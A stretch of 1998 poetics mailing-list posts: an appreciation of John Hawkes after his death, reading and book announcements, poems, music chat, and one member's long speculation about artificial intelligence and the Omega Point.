poetry, his work being one of the major examples
of how poetic language and fiction do work together.

My favorite of his many fictions are THE BETTLE LEG,
THE LIME TWIG, SECOND SKIN, and THE BLOOD ORANGES.
Sun & Moon published his early works THE OWL and
THE GOOSE ON THE GRAVE.

A short passage:

The prisoner was covered with great feathers, pin feathers
and flat feathers, pieces of wire and tin swelled his
chest. The wings hung far down as arms and even below
the hands, swayng, and were fastened across his shoulders.
He crouched heavily, but his waxen feathers, his flying
skein billowed angrily in the wind. His head stuck over
with red wax turned loftily. Then he tested the wings,
looking at the sun unbelieving, taking a cautious step
closer the edge. The wings hung down and buied the arms
inside; almost to the length of his feet, the tips waved
like the lengthy, extra feelers of the dragonfly. The ends
of the wings were wet, they motioned under the power of
the primary feathers, the crudely fashioned wing with its
sharp trailing edge. And when he filled the wings, they
moved, lifted once, again, curving down and meancing. His
half hidden chin juted and thrust with the effort. He spread
his legs and drew tight the red flying surface between them,
so that he was a mass of machine and bird for the wind's
picking. He appeared heavy as stone.

THE OWL AND THE GOOSE ON THE GRAVE is available to poetics list subscribers for a 20% discount, that's $10.36 plus $1.25 for postage = $11.61.

Send a check with your order to Sun & Moon Press, 6026 Wilshire Boulevard, Los Angeles, CA 90036 or order from my E-mail at [redacted]

Douglas Messerli

Gale Nelson wrote:
>
> John Hawkes died on Friday, 15th May from complications of heart surgery.
>
> Hawkes, professor emeritus at Brown University, was author of over a dozen
> books of fiction, including The Cannibal, Second Skin, Death, Sleep & the
> Traveler; and more recently, The Frog. His beautiful baroque sentences, many
> of which ran seamlessly for half a printed page, were often describing
> characters in extremis, innocence or (as often was the case) otherwise.
>
> Jack was famous for his deeply-caring teaching style at Brown, where he
> tutored generations of writers in the craft of the story and the novel.
> His students include Mary Caponegro, Joanna Scott, Rick Moody, Lori
> Baker and Samantha Gillison.
>
> For those of you who would like to express your condolences to his wife,
> Sophia, please send me electronic mail ([redacted]) for the
> address.

↑ Index

444. Maria Damon
Re: Lyn Hejinian/Gertrude stein
Tue 19 May 1998

---

thanks maz, i have a copy of that (thanks juliana); it's buried under piles of stuff, but it's really good...i'll pass the citation on to the student. And thanks EVERYone who was so forthcoming w/ suggestions. you're the greatest--md

At 8:17 PM -0400 5/18/98, Maz881 wrote:
>also, Maria, this might be of interest to your etudianter:
>
>Juliana Spahr : "Resignifying Autobiography: Lyn Hejinian's My Life" American
>Literature 68:1 (1996), 139-159.
>
>try [redacted] for specific questions.
>
>Bill

>
>
><<Maria, Lyn has a great piece called "Two Stein Talks," TEMBLOR, I think
>#8 but somewhere in there that would be crucial for your student.
>Also, Charles Bernstein's CONTENT'S DREAM and A POETICS (and the new
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>experiences them. His poems are deeply moving--take a look at "The
>Clouds Go Soft" (already mentioned here) and "Ode for Joe LeSueur on the
>Arrow that Flieth by Night"--both quite devastating. And the technique
>is such we're immediately drawn INTO the poems--can't get away!
>
>Marjorie Perloff>>

↑ Index

445. **Maria Damon**

Re: scene reports, please

Tue 19 May 1998

---

i'm a culpa, i like that, can i use it?

At 12:11 AM -0800 5/19/98, Herb Levy wrote:
>Oops, I'm a culpa.
>
>Those of you out of towners who usually try to get to Seattle for the
>Subtext readings probably won't be able to get cheap airfares for the first
>of these readings, but for the later ones it should still be possible.
>
>May 21
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>Jim Jones, author of several books on Jack Kerouac talking about Kerouac in
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>offering a Friday/Saturday workshop based on Berrigan's The Sonnets.
>
>June 18
>
>Lisa Jarnot & Jean Day
>
>July 16
>
>Bryant Mason & Ed Foster
>
>(For those who are keeping track, this is the completion of Nico
>Vassilakis's current curation.)
>
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>All Subtext readings are at the Speakeasy in the charmingly re-developed
>Belltown district of Seattle. The idea is that readings start at 7:30 pm,
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>Martin Bartlett (out real soon now, with performances by soprano recorder
>virtuoso Peter Hannan, trombonist George Lewis, who also creates
>interactive electronic works of his own, and cellist Frances-Marie Uitti) &
>works for homemade electronic instruments by Dan Senn.
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>Cause I've been sick lately I'm often listening to, or at least hearing,
>Morton Feldman's For Philip Guston a four & a half hour piece for flutes,
>celeste & percussion that I put in the multidisc player & put on repeat for
>days. It's an amazing sound world to live among & wake up in the midst of,
>especially when you don't know where you are in the piece.
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>Also, for what it's worth, CCMC doesn't stand for anything, John Oswald the
>electronic collage artist is indeed the same person as John Oswald the
>saxophonist (& he's a really good saxophonist), & Michael Smith is a
>phenomenal film maker, installation artist, etc.
>
>& lastly, long time list readers may remember this, but for you newer folks
>if you're looking for non-writing readers of "experimental" poetry who also
>don't work as critics or teachers, there's me for one.
>

>Bests,
>
>Herb
>
>
>Herb Levy
>[redacted]

↑ Index

446. **Fred Muratori**
Re: Rochelle Owens
Tue 19 May 1998

Owens' _New & Selected Poems, 1961-1996_ is out from Junction Press and provides a good overview. Also, an extremely helpful Web site offers some fine commentary on Owens. Go to: http://www.thing.net/~grist/l&d/owens/lro-cont.htm

-- Fred M.

> *Hi,*
> *Does anyone have a suggestion for a good introductory work by Rochelle Owens? One that shows her at her wildest? Please backchannel only.*
> *Thanks,*
> *Pete Balestrieri*

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

447. **Douglas Barbour**
Re: POETICS Digest - 16 May 1998 to 17 May 1998
Tue 19 May 1998

Ah the list returns to msic on the CD player. Does this happen about once a year, regularly?

Right now, I'm listening to the double quartets live album by Joe Lovano, always something by Jessica Williamson, the small group _Joy_ CD is a great spiritual gift, never a week goes by that I dont go back & give another listen to Paul Butterfield's Better Days album from 1973, Gavin Bryars _The Sinking of the Titanic_, a couple of Goreckis, always always some of the complete string quartets of Schostakovich, Jim Hall's _Dialogues_, Keith Jarrett Trio's _The Cure_, a recent rerelease of Lennie Tristano & Warren Marsh's _Intuition_. But then I keep going back to other stuff as well. There's just so much music to listen to...

And here in Edmonton on Saturday night, Jay Clayton & Sheila Jordan together, each took a set, then they did two duos, finishing off with an amazing duo improv on Dizzy Gillespie's 'Birks Works,' To which the only possible response was whistles & cheers & a standing ovation...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

without breath or distant rejoinder
from the sea. Today we
became known to them, as the sail knows the air it fills
and as the tents of jellyfish do brood
knee-deep in the paralyzing sea of numbness.
Even the fishes heard that terrible whine and shuddered
their leaves like feet hanging in the whitewashed air.
Then the weather changed. They were all
like hunks of voluptuous driftwood
silly as we, our intuitive craft
blind with art's crushing defeat. The dull roar
& who steps ashore upon that
may now close his eyes as if they were tired flowers
panting appreciation. You are too late, you are violent
rendering unto the sinking its Lie
too soon. Art is sad and
speech is not embarrassed by your attention.
After the immersion and the stance
there is no love, and it is not the sun--
still, these waves, gnaw down our helm.

↑ Index

449. **henry g**
1 line
Tue 19 May 1998

ONE LINE FOR FRANK O'HARA & GARY SULLIVAN

the ham sandwich - there - falling off the girder - it was for you -

- Jack Spandrift

↑ Index

450. **toddbaron**
Re: Beyond the Page
Tue 19 May 1998

Stephen Cope:

Todd Baron here--a friend of Martin Nakell's--trying to reach you VIA e-mail--where you're listed as NO SUCH ADDRESS @ [redacted]. ?

I'd like to talk about your series...

yrs,

Todd Baron
ReMap magazine

↑ Index

451. **Annie Finch**
High School Workshops
Tue 19 May 1998

Dear Colleagues,
Please pass this on to any high school students you know who might be interested. Thanks!

> *Date: Tue, 19 May 1998 08:54:29 -0400 (EDT)*
> *From: Aljoseph <[redacted]>*
> *Subject: High School Workshops*
>
> *It's do or die time for my program. If I don't get some students enrolled soon, the Division of*
> *Continuing Education at my school will shut the Young Writers Workshop down. Maybe this format can't work at a place where the financial resources are scarcer than the schools that already have Young Writers Workshops. I welcome any input at all--especially since I'm feeling like the failure of this project is all my fault. Thanks, Allison J.*
>
> *JUNE 15 to 20, 1998 - The FIRST ANNUAL YOUNG WRITERS WORKSHOP MERIT SCHOLARSHIPS NOW AVAILABLE. Check web site for details on scholarships.*
>
> *For high school sophomores, juniors, and seniors, hosted by Southern Illinois University at Carbondale, and sponsored by the Master of Fine Arts Program in Creative Writing, the Department of English, the College of Liberal Arts, and the Division of Continuing Education. The Young Writers Workshop at SIUC is a five day residential program designed to give high school students the opportunity to develop and explore their writing talents in poetry, fiction, and essay writing. Students will sharpen their writing skills by participating in daily workshops lead by SIUC graduate students in creative writing, and by attending craft talks, readings, and discussions lead by SIUC graduate creative writing faculty and graduate students.*
>
> *Each morning, students will meet in small groups focused on the genre of their choice to write, read, and discuss their poems, stories and essays (including college application essays). Each workshop will be taught by two instructors in order to give each student's work detailed attention. Each afternoon, students will participate in sessions on subjects as varied as forms of poetry, small press publishing, and techniques of fiction. In the evenings, SIUC students, faculty, and Young Writers Workshop participants will read from*

> *their own creative works.*
>
> *The cost of the Workshop (including housing, meals, and materials) is $500 for resident students and $430 for commuter students (those within driving distance of the University who do not wish to board, price includes lunch and dinner). Enrollment is on a first come, first serve basis. A deposit of $60 is required by May 29, 1998 to reserve a spot in the Workshop. To request an enrollment form, contact the Young Writers Workshop, c/o Division of Continuing Education, Mailcode 6705, Southern Illinois University at Carbondale, Carbondale, IL 62901-6705.*
> *Website - http://www.angelfire.com/il/yww.*

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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452. **ken|n|ing**
the future
Tue 19 May 1998

As a reminder / update:

K E N N I N G : a newsletter of contemporary poetry, poetics, and non-fiction writing -- The premier issue (Mark Wallace, Juliana Spahr, John Kinsella, John Lowther, Summi Kaipa, etc.) is still available, $4.00. -- The summer issue, #2, (A.L. Nielsen, Ron Silliman, Liz Waldner, Alice Notley, Emily Wilson, Heather Fuller and Rod Smith, Jen Hofer, and fifty or so pages of etc.) is due mid-June.

I would recommend subscribing, two issues beginning with #2 in a unique, hand-printed slipcase/portfolio, ahead of time, $9.50. Or a single issue, beginning with #2, $5.00. Make checks payable to the editor, Patrick F. Durgin & send to the address below.

Electronic inqueries are welcomed, as well as submissions of polemic, criticism, and poetics. Hope to hear from you. PFD

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k e n n i n g`` `` `` `` `` `` `|`` `` `` `` `` `` `` `` `` `` `` `` `` `` `` `` `` `` `` `
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a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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453. **R. Gancie**

Jornada del Muerto

Tue 19 May 1998

"[Christopher] Langton is the founding father of artificial life, a subfield of chaoplexity that has attracted much attention in its own right. Langton has helped organize several conferences on artificial life-the first held at Los Alamos [adjacent to Jornada del Muerto] in 1987-attended by biologists, computer scientists, and mathematicians who share his affinity for computer animation. Artificial life is an outgrowth of artificial intelligence, a field that proceeded it by several decades...."---from The end of Science, John Horgan, Addison Wesley Press --- "The brain is a meat machine."---Marvin Minsky --- "For comparison with atomic physics, let us add a remark on Kant's doctrine of antinomies. According to Kant there are questions which force their way unavoidably into our thinking, but to which nevertheless no answer can be given, because in a fundamental way they leave behind them the realm of possible experience. From this antinomies originate: these are pairs of contradictory answers to the same question, both of which can be proved in a way that is conceptually unobjectionable. The solution of this 'dialectical illusion' consists precisely in rejecting the original question as saying nothing about possible experience; and hence reason, if it nevertheless becomes involved with this question, runs, as it were, an empty course, and under the illusion of positive statements is in truth saying nothing."---from The World View of Physics, Carl Friedrich von Weizsaecker, Routledge and Kegan Paul ---cp

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454. **k. lederer**

Some poems by Jeff Clark

Tue 19 May 1998

L U N A R T E R C E T S

Things are not as we would have them be.
The moon is not a yellow sow
hung from a meat hook

on a drab shed wall: it is a moon.
Ashes do nothing
while we sleep: they are trees.

Satellites are not boys circling the lowback chairs
and record heaps of their drunken masters: they are machines.
The broad-hipped distended form stepping in the foam

is not someone going to wet her legs
but no-one, Phantom without live taxies.
She thinks, Ships in the night are cruel ships.

Even if, her left ear aimed at the brack
even if the clasps and peeling lulled
she would not hear the canvas smack

there would be no din in the hull
no luminations in the masts:
tonight the moon soils its pallet

and will emerge in the light by my bedside but No-one,
her gown ratty from seawater and sand and from bedless cubicles
bedowned by whirling feathered things.

.....

S T . N E M E L E

Who hovers above me now,
in black coat, the table lit
as if by a tenebrist?
Whose mane glints as if slicked
with pomade not pitch?

Who isn't tincture of pine
but of pall and cyst.
Whose eyes are holes
not spangles in a hall.
Nemele, I wander around
embracing waists of trees

who won't speak,
who don't attend to atonalities.
When I lied after noon
like the one half of a brothel pair,
you opened your gown
and in there

in bleary stills
I saw an anvil,
then a
then an unwell

--what?--in an evil antedawn.
In the evening you opened your gown--

Nemele, you must have gone.
Why now phantoms, why now gauze,
nori-green fins, dead swans?
Why someone in a yellow dusk
with piece outslung
at one end of Pont-Neuf ?

Have you gone
darkward, or where
the white mare--

Who hovers above me now
pricks in manifold forms

.....

D A I M - C O Q S

Howling daim-coqs fill the rows
Herons from wires love hooves in hose

And now backstage the oils you know
And now backstage

And backstage what a slack arose
And backstage lungs in floating does
And backstage who speaks false explodes
And backstage thighs to strokings go
And backstage overflows the bowels
And backstage tongue and lips lave toes
And backstage foam on glowing throats

Strings

                blood in forms in throes

The felt hammers

.....

T H E G H O S T H A S N O H O M E

This morning in an alleyway I was startled by a face
I seemed to recognize, in a dormer above a garage
and so slunk up to him, who was ranting quietly,
mauling the mind of some imagined ear out the pane
as if maligned, or high, like one

moony and almost witless in a poppy ditch,
or one walking ill and supine
in a wet bed of opening mullein:
"I have no desire to theorize language--
I was raised poor and have sinned unspeakably.
I would rather waylay and destroy
whose voice molests me."
On his desk a thin book I knew, a tragedy
whose residue was a Sentry's couplet I half-knew
and began to recite--startling him who turning was outwardly
unknown to me--, "'Does it hurt your ears--'"
"Fuck Antigone--I detest language, I detest artifice,
I would rather waylay and molest
the beast that has imagined and pent me here."

.....

T H E G H O S T H A S N O H O M E

This morning in a dormer I was startled by a face
subterraneously white and walking with such a gait
down the pavement that when I cleared the pane
of breath--
Behind me a muzziness then kissed:

"Together we shall name Fear 'Benign Cyst'
the I shall be deceased, you shall be missed"

Together we dismantled its nest

.....

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455. **morpheal**
Re: Mary Shelley Meets von Neumann Interstellar Probes
Tue 19 May 1998

> *23 LINES FROM 23 POEMS IN O'HARA'S COLLECTED*
> *IN RESPONSE TO R.GANCIE & HENRY GOULD*
>
> *Poetry is as useful as a machine.*

Meant to imply that I can actually communite something using the mechanism of "poetry" to someone specific and do that intentionally ?

Even the telephone is nowadays rarely that useful.

I wish I could say, from experience, that the author is correct in saying so.

> *silly as we, our intuitive craft*
> *blind with art's crushing defeat. The dull roar*
> *& who steps ashore upon that*
> *may now close his eyes as if they were tired flowers*
> *panting appreciation. You are too late, you are violent*
> *rendering unto the sinking its Lie*
> *too soon. Art is sad and*
> *speech is not embarrassed by your attention.*

Sigh.....Have to essentially agree with that.

> *After the immersion and the stance*
> *there is no love, and it is not the sun--*
> *still, these waves, gnaw down our helm.*

I defintely have nothing whatever to say that would disprove that. That is, from a purely experiential basis.

Therefore I keep asking myself what is left, as to any communicative means, and can no longer give myself any really useful, meaningful, answer.

Bob Ezergailis
aka Morpheal

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456. **morpheal**
Re: Mary Shelley Meets von Neumann Interstellar Probes
Tue 19 May 1998

Far from the production of "signature" poetics, but still within the discussion of human creativity and relevant to the necessarily intuitive ability being essential to genuine creativity. Can automata write poetry ? They might have better things to do, and so once they master the process, why would they bother to keep writing it ? Unless perhaps they sought self expression and a wider spectrum of communicative interaction via that means ?

The idea of automata piloting, commanding, crewing, intersetellar probes is more essential to their reality, no matter what extreme journeys in space-time we happen to be contemplating. As you might know, I believe that interstellar probes are to be a reality within this next century. Well within it. That is, if dilligent and necessary effort is given to that important conquest.

> "*Whenever he [John von Neumann] discussed self-reproduction, he mentioned mutations, which are random changes of elements....*

True A.I. does mutate. It does evolve. It does not simply learn the way that we learn our ABCs or how to do arithmetic. True A.I. goes beyond rules, pattern recognition, and rule application, even if it remains (as far as I can discern) more limited than human potential. There is a very real difference when we

refer to evolution. Evolution, as a property of true A.I., means approaching a problem from a new direction, that is previously outside of the programmed parameters or "rules". In other words it can create new rules that are situation specific.

I speculate that that is necessary because of the role of A.I. in tactical applications. It is well known (from various published sources) that the "computer" on board the Stealth fighter can not only fly a normal flight pattern and evasive action effectively, but is an effective tactician in terms of using weapons against enemy targets, should the pilot be disabled during a mission. It is capable of fighting, and returning home, without human guidance. It would be interesting to observe whether that kind of system can out perform humans in extremely demanding situations.

Breaking rules, within certain known limits of technological and organic constraints, is essential to the successful tactician. It is one of the most difficult areas to "learn" as it becomes classified as "intuitive". Therefore the very function that true A.I. is initially develped to perform is the most challenging application of A.I. capabilities. It is as if aiming for the most sophisticated, complex, function, and working down from there.

The true (potentially successful) tactician, in diplomacy or combat, is an artist. It is the most highly intuitive and creative of human functions. Can true A.I. become an artist, defined as a creative rule breaker who remains within the parameters of the pliability of all material resources ? I am not convinced that that has bene fully achieved, and certainly not at all in excess of human capabilities. The Wizard of Oz is still necessary behind the curtain. We might speculate if that is a permanent condition. If pressured to guess, I would say: no, it is a temporary limitation and human creativity will be exceeded by the machine.

Here we have a corollary of importance. The enemy tactician despises our truest, most creative, artists most of all. They, after all, are as important as is tactical history, in terms of evolution. Suppress the artists, and the more strictly rule based responses, often ideologically and historically limited, along with nonsensical disinformation passing as intuitive response, becomes the normative, as in any totalism and becomes the limit of systems evolution. Cultures and empires that too severely constrain, or who dispose of their artists, eventually perish in extremes of tactical blundering. Military history if rife with clear examples. The same can be said as to scientism and technocracy, where there ceases to be any essential cross fertilization and hybridization with the arts. Those disciplines become sterile and stagnant, for similar reasons. All that remains then is the stealing of ideas and their reiteration. That is a mainstay of totalitarian, totalistic regimes.

> *1.1.2.1 above and Section 1.8 below he posed the problems of modeling evolutionary processes in the framework of automata theory, of quantizing natural selection, and of explainng how highly efficient, complex, powerful automata can evolve from inefficient, simple, weak automata.*

The first one celled organism is our first recognizable simple automaton. It is hardly to be referred to as "living". The subsequent one celled organisms are more complex automata and they continue to evolve.

Clearly human ingenuity can build devices that are as effective as those early one celled organisms, or proto-organisms. They do not have to resemble known biological systems. They can be a totally different species, beginning a new evolutionary tree quite distinct from the organic evolution we know of.

When you look at how simple those very first organisms are, and how they evolved in complexity, you soon realize that it ought to be easy to build one using relatively primitive micro-technologies. Nevertheless the engineering of such things involves components that exceed the limits of known rules and pardigms. That is typical of any advanced engineering project. It is ideally not deterministic in terms of simply and purely yielding to established rules. The new rules are derivative by others, subsequent to the creative breakthrough.

> *"In order to investigate whether life can continue to exist forever, I shall need to define "life" in physics language. I claim that a "living being" is any entity which codes information (in the physics sense of the word) with the information coded being preserved by natural selection. Thus "life" is a form of information processing,...*

There is therefore no distinguishing line dividing organic life from inorganic systems. I firmly believe that there is no distinguishing line. No special new characteristic that suddenly divides the two categories and makes organisms possible. The false assumption of soul-less matter and ensouled organisms is where we go most wrong.

In that sense there is potentially true (rather than mathematical) infinity. (Math infinity being simply the incommensurable.) We must also realize that the anthropocentric viewpoint is groundless. The universe is not the only universe, and it is not created for or epitomized by, the human species which is in fact chance artifact within all the potentialities of universal evolution. We must assume other branchings from the roots. As to intelligence acquisition, and intelligence creation, the metaphor of the universe at play with itself, would be a way of referring to the sum of all interactions. That is a completely non moral thing. There is no good or evil in it. It simply is what it is, was, and all that it might potentially be, as creativity.

> *human mind-and the human soul-is a very complex computer program.*

Yes. Of course. Many programs. Too many to store on a very very large computer. Including all the inherent and acquired data. Of course it is theoretically possible to scan all of that data and acquire it, beyond scanning the fields of consciousness which are only a limited portion and mostly cognitive. This is much more than science fiction.

> *Tipler had initially believed that it was impossible to imagine what an infinitely intelligent being would think about or do.*
>
> *that in the future all humans would live again in the mind of God.*

Of course there is a very real necessity to store and safeguard the very essence of the human and its potentialities against cataclysmic destruction. That includes some elements of diversity. It is part of the rationale of human survival that the species be replicatable beyond the surface of this earth. We are increasingly approaching that assurance. In that situation an "omega" system is purely the storage device for a very vast amount of data, the same as an huge archive of blueprints and technical specifications, without any value judgements beyond diversity. It is a repository of potentially useful information without prejudicing what might prove useful in some future scenario.

That inevitably implies that human beings will need to defend against potential competitive hostilities beyond what they have thus far been able to practice against. The latter mostly their own species, and the struggle against the forces of the natural environment. I tend to be more extreme in that than Heinlein was. I cannot envision a universe populated by friendly "aliens" or by species that share radically similar technologies rather than having evolved along very divergent paths.

>The Omega Point, he realized, would have power to re-create-or >resurrect-everyone who had ever lived for an eternity of bliss. The Omega Point >would not merely re-create the lives of the dead; it would improve on them. Nor >would we leave behind our worldly desires. For example, every man
could have >not only the most beautiful woman he had ever seen.....

How very sad... The woman I love most is far from flawless, and likely the Omega Point would never permit her to exist, or my existence either. The Omega Point's two creations would not be me or her, in any significant sense of it. So it means nothing to me except perhaps a kind of totalistic, totalitarian oppression. An unbearable, infinitely cruel, kind of oppression. What, or who, decides "perfection" is a very real problem. Achieving an increasingly unfettered human creative freedom, as is promoted in "The Morphealist Manifesto" is the antithesis to any ideologically totalistic limited idea of perfections.

In one sense the difficulty as to the "omega point" comes because of "network thinking". We see the ultimate evolution of the automaton as a unity, or a hive of peripherals attached and dependent upon, and governed by a central "god" mainframe. This creates a kind of state mainframe totalitarian rule governed commune of dependent peripherals rather than individuals. This tendency goes against achieving the best potentialities of the larger project. In fact it can seriously subvert it. (Very important point. How we build the architecture can seriously effect the effects that that architecture has as well as how that architecture itself tends to evolve. Conservative tradition about how that architecture must be constructed then stands in the way of creative solutions that would be better suited to the greater purposes that are potentially envisioned for the evolving systems.)

Therefore we must be willing to question, against traditional beliefs, and the mythologies that present those so powerfully and archetypically, the very necessaity and nature of the "omega point" itself. If we do not we risk the destruction of any sense of humanity, and we tend to engineer humans into totalized peripherals of a (for all human intents and purposes) infinitely vast totalitarian, totalistic, engine that drives them. The machine becomes the ghost in the machine.

> *about it and you have to make a decision: do you really believe these constructs that you've created based on physical laws or are going to pretend they are pure games with no relation to reality.*"

They are useful, insofar as they are predictive metaphors or analogies. They are never the reality. Every rule can be falsified, eventually. Natural reality is more alike to intuitive tactics than it is to rule based games playing. The rules of engagement with the universe are that there are no rules. We keep making up the rules according to currently commonly known human (including technological) limitations. When a believed limitation is exceeded then a new rule, or limit, is put into place. Do automata also stop there at that stop light ?

Do we program, or teach, automata to function that same way ? Or do the automata learn on the basis of the assumption that all beliefs are potentially false beliefs ? In other words, is the automaton as tactician free of any sense of religion, and is its empiricism ultimately less tainted than traditional versions of empiricism, such that the automata lead humnanity to the new paradigms that become necessary as human vision is increasingly exceeded ?

> *"By the middle of the next century [Hans] Moravec said, robots will be as intellgent as humans and will essentially take over the economy. "We're really out of work at that point," Moravec chortled. Humans might still pursue "SOME QUIRKY STUFF LIKE POETRY" thht springs from psychological vagaries still beyond the grasp of robots, but robots will have all the important jobs."---ibid-cp*

Essentially yes.

However, the robots will be organic, and not machinery in the sense that we usually think of it. The human, organic, manipulator is less costly when properly programmed than the robotic, inorganic, manipulator, for many functions, and will remain that way indefinitely.

Then again, what about markets for products ?

In this economic system there would be a need for vast numbers of production machines that alternate as consumption machines. The same machines could continue to do both functions, but more efficiently in both crucial areas.

The future economy is a complicated subject. The whole spectrum of predictable technological evolutions, including that of automata, necessarily must be taken into account, if any effective and meaningful "big picture" prediction is to be arrived at. It is essential that such thinking take place, and as of yet I know of nothing being done that makes any real sense in that regard. Perhaps that is because I am very outside that loop, though we hardly touch upon the real subject matter in question.

Bob Ezergailis
aka Morpheal

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457. **Charles Alexander**
Re: The Bloated Professoriate (vs. Spicer)
Tue 19 May 1998

> *They both assume, because of their own ignorance, that Spicer is unimportant and unknown. Their familiarity with the contemporary poetry scene is (to put it kindly) minimal.*

Danny, in my experience these kinds of assumptions are frequent and can be extremely harmful. Once, according to a local grant panelist I knew, a Chax appeal for funds was nearly shot down (and the amount finally awarded considerably reduced) because one panelist, who is an honored professor at the local university, basically came in with the attitude that authors Chax was printing or presenting weren't any writers he knew about, therefore they must not be anybody important. As I recall, this was a time when those authors probably included Nate Mackey and Norman Fischer, among others.

But it gets worse. I know of one case of a local, fairly rural arts council denying a literary press funding because the panel in that locality didn't consider literature to be art.

And we wonder why it is so difficult for poets to get published . . .

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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458. Juliana Spahr
formalists, oralists
Tue 19 May 1998

Help me! I'm looking to create a bibliography of secondary material to give my students in my "understanding poetry" course (which has a lot of nonmajors although it is a 300 level course) next semester.

I usually do this section on form where we look at the sonnet--a few of Petrarch, all of Shakespeare's, some of Brooks, Thomas, Mayer, McKay, Berrigan, etc. I have them compare the Princeton Encyclopedia definition of the sonnet to Mayer's in the T&W Handbook on Form and talk about what a sonnet means. A lot of them end up writing their papers around this issue (especially on Mayer's work which troubles and delights them). I need more citations and places for them to look to get more of the discussion around form.

Can anyone think of any good articles that say to write a sonnet, or whatever, one has to follow the rules? I need some articles that defend form as settled and absolute. I've been sending them to the Annie Finch book. Anything else good out there? Any good articles that defend form as rigorous ways of thinking, etc?

Would also like to collect citations on the opposite if any come to mind.

Also, I do a section on oral poetries. I'm looking for writing that explains the relevance of chants to poetry studies. Anything that would help my students begin to understand the chant as an art form (interestingly here in Hawai'i, they tend to get chants in h.s. but they seem to read them as history--so whenever I've given them a chant to look at they can do a historical reading and say things like well it is about King Kamehameha III and etc. etc. but can't see it as something that is poetry).

Also, any good articles on rap? Anyone taught rap in their poetry courses? Any ideas on how to get students to write critically about rap?

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459. Gary Sullivan
Re: Mary Shelley Meets von Neumann Interstellar Probes
Tue 19 May 1998

> *Therefore I keep asking myself what is left, as to any communicative means, and can no longer give myself any really useful, meaningful, answer.*

THE ANSWER

by Geoffrey Young

The answer is
there is no answer
and though this might appear

to be an answer
for some, it
isn't for me.

It's not even
a poem. It's life
after the fact.

↑ Index

460. Gale Nelson
Re: formalists, oralists
Tue 19 May 1998

Juliana,

Rather than argue that formalist technique is _the only way to go,_ Harry Mathews gives a compassionate nod to form, albeit not always the forms naturally moved toward. I am reminded, for instance of his eye-rhyme couplets, where we listen for what our eye can "hear" as repetition, but which is, necessarily, different to the ear; some samples (not, likely, Mathews'):

hear / bear
come / home
through / though
cafe / safe

His article, "Mathews' Algorithm (Oulipo: A Primer of Potential Literature; Univ. of Nebraska Press, ed. by WF Motte), or Motte's own article, Permutational Mathews (Review of Contemporary Fiction: H M Number, Fall 1987) would give the student a sense of how formal operations can open up unexpected channels of text.

In his beautiful essay, Lecture on Nothing, John Cage contemplates form in ways that leave me moved. But, that's another matter, altogether...

Gale Nelson

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461. Burt Kimmelman

New Book on William Bronk (from Fairleigh Dickinson U P); see below

Tue 19 May 1998

From: TESLA::KIMMELMAN 19-MAY-1998 16:51:09.79
To: ADMIN::KIMMELMAN
CC:
Subj: New Book on William Bronk (see below)

THE "WINTER MIND":

WILLIAM BRONK AND AMERICAN LETTERS

by

Burt Kimmelman

From the book jacket:

"Despite the fact that many critical essays and reviews have been written on Bronk's work, until now there has been no full-length treatment of it. The "Winter Mind" not only fills this gap but does so with intellectual resourcefulness and insight. Kimmelman's reading of the overall thematics of Bronk's work and his close reading of individual poems are quite original and revelatory though always backed by solid scholarship."

- Michael Heller

"William Bronk may quite possibly be our greatest living poet, one whose work requires an enormously committed reader. In Burt Kimmelman, Bronk has the kind of reader and critic a great poet deserves--one, that is, who is deeply sympathetic to the work, and extremely knowledgeable. Even those who know Bronk's work well have much to learn from Kimmelman; he's written an utterly remarkable book."

- Ed Foster

This first full-length study of William Bronk, one of our most important contemporary poets and essayists, locates his work in relation to the eighteenth- and nineteenth-century New England literary tradition, to later twentieth-century modernism, and to the subsequent Objectivist and Black Mountain schools of poetry. Through special attention to his uniquely elegant style, this study demonstrates how Bronk has brought together earlier American poetics and philosophy with modern and postmodern notions of being, emptiness, and nothingness.

This book features extensive discussions of Dickinson, Emerson, Melville, Thoreau, Whitman, of Frost and Stevens, as well as of Cid Corman, Robert Creeley, Charles Olson, and George Oppen. As particularly concerns these twentieth-century figures, Kimmelman also sheds light on the role in their thinking and poetics played by post-positivist science--especially its theories of relativity and uncertainty.

216 Pages * Bibliography, Notes, Index * $37.50
ISBN 0-8386-3790-6 * LC 97-41275 * CIP

To order or if interested in reviewing this book:

Associated University Presses
440 Forsgate Drive
Cranbury, NJ 08512

[redacted] (fax)
[redacted] (phone)

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462. **toddbaron**
Re: yet another query
Tue 19 May 1998

Charles:

I'd be happy to xerox pieces for you from Temblor.
I believe I have the set...

yours,

Todd Baron
ReMap

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463. Matt Kirschenbaum
Harry Partch Instrumentarium (fwd)
Tue 19 May 1998

Speaking of Sonic Youth, the following from their Echo Canyon mailing list. I make no claims for whether or not this is legit, but assume so as it would be an odd sort of hoax. Anyone know more about Harry Patch or the situation below? Maybe someone can help out. (I assume the Keady address would be the one to write to.) Matt

> *Date: Sat, 16 May 1998 22:06:17 -0400*
> *From: Jim Keady <[redacted]>*
> *To: [redacted]*
> *Subject: Harry Partch Instrumentarium*
>
> *Hiya, I'm not subscribed to yr list, but I would like to bring attention to something that may be relevant to some people who are on it. Harry Partch:composer (1901-1974) Onetime hobo, lifetime musician, noted for, among other things, building his own instruments based on microtonal theory and writing for them. Most of his work is playable only on these wunuvakind instruments, which may contribute to why you maybe haven't heard of him. Anyway, his original instruments are currently housed at a state college in Purchase, NY, but are on the verge of being evicted. They need a new home IMMEDIATELY. If anyone within the sound of my keypad has any leads, please contact me & I'll pass the word on. Thanks&thanksagain,*
> *-------Joe*

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464. Karen and Trevor
Fourteen Hills
Tue 19 May 1998

Announcing the publication of the Spring/Summer 1998 issue of Fourteen Hills: The SFSU Review.

